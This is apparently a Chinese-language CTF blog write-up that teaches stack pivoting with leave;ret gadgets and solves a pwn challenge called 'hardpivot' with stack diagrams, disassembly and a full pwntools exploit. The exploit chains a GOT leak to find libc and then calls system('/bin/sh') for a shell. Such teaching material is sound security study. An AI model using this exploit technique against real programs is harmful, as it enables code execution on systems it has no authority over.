Stack pivot (leave_ret详解)

栈迁移原理

因为本人目前学识浅薄,详细的内容见花式栈溢出技巧 - CTF Wiki的frame faking的部分,这里只进行简单讲解。(读者需要会基础的rop链)

当源程序存在栈溢出漏洞但溢出空间过小,没办法构造完整rop链时,可以考虑将通过两次leave_ret将rsp移动到已知地址可写入的空间,再执行提前写好的rop链。

leave  -> mov rsp rbp
          pop rbp
ret    -> pop rip
(下面是NO PIE的情况)
# 第一次leave前 rip = leave_addr

写完payload的stack
+--------+ 
|        | ← rsp (未知地址)
+--------+ 
|aaaaaaaa| ← buf (未知地址)
+--------+ 
|baaaaaaa| 
+--------+ 
    ·
    ·
    ·
+--------+ 
|0x404100| ← rbp (未知地址)
+--------+
|0x402100| (0x402100 -> leave_ret_addr)
+--------+ 

# leave前半句mov rsp rbp执行完

+--------+ 
|        | 
+--------+ 
|aaaaaaaa| ← buf (未知地址)
+--------+ 
|baaaaaaa| 
+--------+ 
    ·
    ·
    ·
+--------+ 
|0x404100| ← rbp rsp (未知地址)
+--------+
|0x402100| (0x402100 -> leave_ret_addr)
+--------+ 

# 第一次leave完 rip = ret_addr (leave后半句pop rbp执行完)

stack
+--------+ 
|        | 
+--------+ 
|aaaaaaaa| ← buf (未知地址)
+--------+ 
|baaaaaaa| 
+--------+ 
    ·
    ·
    ·
+--------+ 
|0x404100| 
+--------+
|0x402100| ← rsp
+--------+ 

.bss
+--------+ 
|0x404200| ← rbp (rbp = 0x404100)
+--------+ 
|pop_rdi | ← 提前写好的rop
+--------+ 
|binsh   | 
+--------+ 
|system  |
+--------+ 
|        | 
+--------+
|        | 
+--------+ 

# 第一次ret完 rip = leave_addr

stack
+--------+ 
|        | 
+--------+ 
|aaaaaaaa| ← buf (未知地址)
+--------+ 
|baaaaaaa| 
+--------+ 
    ·
    ·
    ·
+--------+ 
|0x404100| 
+--------+
|0x402100| 
+--------+ 
|        | ← rsp
+--------+ 

.bss
+--------+ 
|0x404200| ← rbp (rbp = 0x404100)
+--------+ 
|pop_rdi | 
+--------+ 
|binsh   | 
+--------+ 
|system  |
+--------+ 
|        | 
+--------+
|        | 
+--------+ 

# 第二次leave完 rip = ret_addr

.bss
+--------+ 
|0x404200| 
+--------+ 
|pop_rdi | ← rsp (rsp = 0x404100)
+--------+ 
|binsh   | 
+--------+ 
|system  |
+--------+ 
    ·
    ·
    ·
+--------+
|        | ← rbp (rbp = 0x404200)
+--------+ 

# 第二次ret后执行rop

例题

hardpivot

$ checksec ./pwn
[*] '/home/tracs/PWN/FS_PWN/hardpivot/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

No canary found、No PIE、got表可写。

ssize_t vuln()
{
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("This time I will not give you any gifts again.");
  puts(aASingleStackPi);
  puts("Think back to what you learned from the previous challenges and integrate it comprehensively.");
  puts("You have made it this far—keep going, victory is not far away.");
  printf("> ");
  return read(0, buf, 0x50uLL);
}

存在栈溢出但只有16字节,只能勉强控制执行流,无法构造完整rop链,所以考虑栈迁移的方法做这一题。那接下来要面对的任务有:1.向已知地址写入rop;2.泄露libc地址

.text:0000000000401264                 lea     rax, [rbp+buf]
.text:0000000000401268                 mov     edx, 50h ; 'P'  ; nbytes
.text:000000000040126D                 mov     rsi, rax        ; buf
.text:0000000000401270                 mov     edi, 0          ; fd
.text:0000000000401275                 call    _read
.text:000000000040127A                 nop
.text:000000000040127B                 leave
.text:000000000040127C                 retn

回顾栈迁移的过程,我们发现第一次leave后我们是先将rbp移动到已知地址,第二次leave才将rsp挪过去。看源码发现可用的leave_ret上面刚好有一个read,以rbp确定rsi。

bss_addr=0x404000+0x1000
read_addr=0x401264
offset=0x40
payload_1=b'a'*offset
payload_1+=p64(bss_addr+0x40)
payload_1+=p64(read_addr)
io.send(payload_1)

所以如此构造payload,第一次leave_ret后将从bss_addr开始写入东西。

.text:000000000040119E                 pop     rdi
.text:000000000040119F                 retn

然后利用函数magic内的pop_rdi可以通过函数puts将puts的got表吐出来,得到libc地址。

sleep(0.1)
pop_rdi_ret=0x40119e
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret_addr=0x40127C
leave_ret=0x40127b
payload_2=p64(bss_addr+0x40+0x100)
payload_2+=p64(pop_rdi_ret)
payload_2+=p64(puts_got)
payload_2+=p64(puts_plt)
payload_2+=p64(read_addr)
payload_2=payload_2.ljust(0x40,b'\x00')
payload_2+=p64(bss_addr)
payload_2+=p64(leave_ret)
io.send(payload_2)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
success('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

payload_1的read执行后,leave完rsp->bss_addr+0x40、rbp->bss__addr
接着执行payload_2后面的leave_ret,leave完后,rsp->bss_addr+0x40+0x8->pop_rdi_ret
然后就是泄露libc地址的puts

sleep(0.1)
payload_3=p64(bss_addr+0x40)
payload_3+=p64(pop_rdi_ret)
payload_3+=p64(binsh_addr)
payload_3+=p64(ret_addr)
payload_3+=p64(system_addr)
payload_3=payload_3.ljust(0x40,b'\x00')
payload_3+=p64(bss_addr+0x100)
payload_3+=p64(leave_ret)
io.send(payload_3)

接着就是发送payload_3
read结束后面的leave结束后,rsp-> bss_addr+0x40+0x100+0x8 ,rbp -> bss_addr+0x100
接着就又执行一次leave_ret后,rsp->bss_addr+0x100+0x8->pop_rdi_ret

exp

from pwn import *
context(arch='amd64',os='linux')
context.log_level='debug'

pwn='./pwn'
elf=ELF(pwn)
libc=elf.libc

LOCAL=True

if LOCAL:
    io=process(pwn)
else:
    io=remote('xxxxx',12345)

def dbg():
    gdb.attach(io)
    pause()

io.recvuntil(b'> ')

bss_addr=0x404000+0x1000
read_addr=0x401264
offset=0x40
payload_1=b'a'*offset
payload_1+=p64(bss_addr+0x40)
payload_1+=p64(read_addr)
io.send(payload_1)

sleep(0.1)
pop_rdi_ret=0x40119e
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret_addr=0x40127C
leave_ret=0x40127b
payload_2=p64(bss_addr+0x40+0x100)
payload_2+=p64(pop_rdi_ret)
payload_2+=p64(puts_got)
payload_2+=p64(puts_plt)
payload_2+=p64(read_addr)
payload_2=payload_2.ljust(0x40,b'\x00')
payload_2+=p64(bss_addr)
payload_2+=p64(leave_ret)
io.send(payload_2)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
success('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

sleep(0.1)
payload_3=p64(bss_addr+0x40)
payload_3+=p64(pop_rdi_ret)
payload_3+=p64(binsh_addr)
payload_3+=p64(ret_addr)
payload_3+=p64(system_addr)
payload_3=payload_3.ljust(0x40,b'\x00')
payload_3+=p64(bss_addr+0x100)
payload_3+=p64(leave_ret)
io.send(payload_3)

io.interactive()
posted @ 2026-03-15 23:39  Tracs  阅读(0)  评论(0)    收藏  举报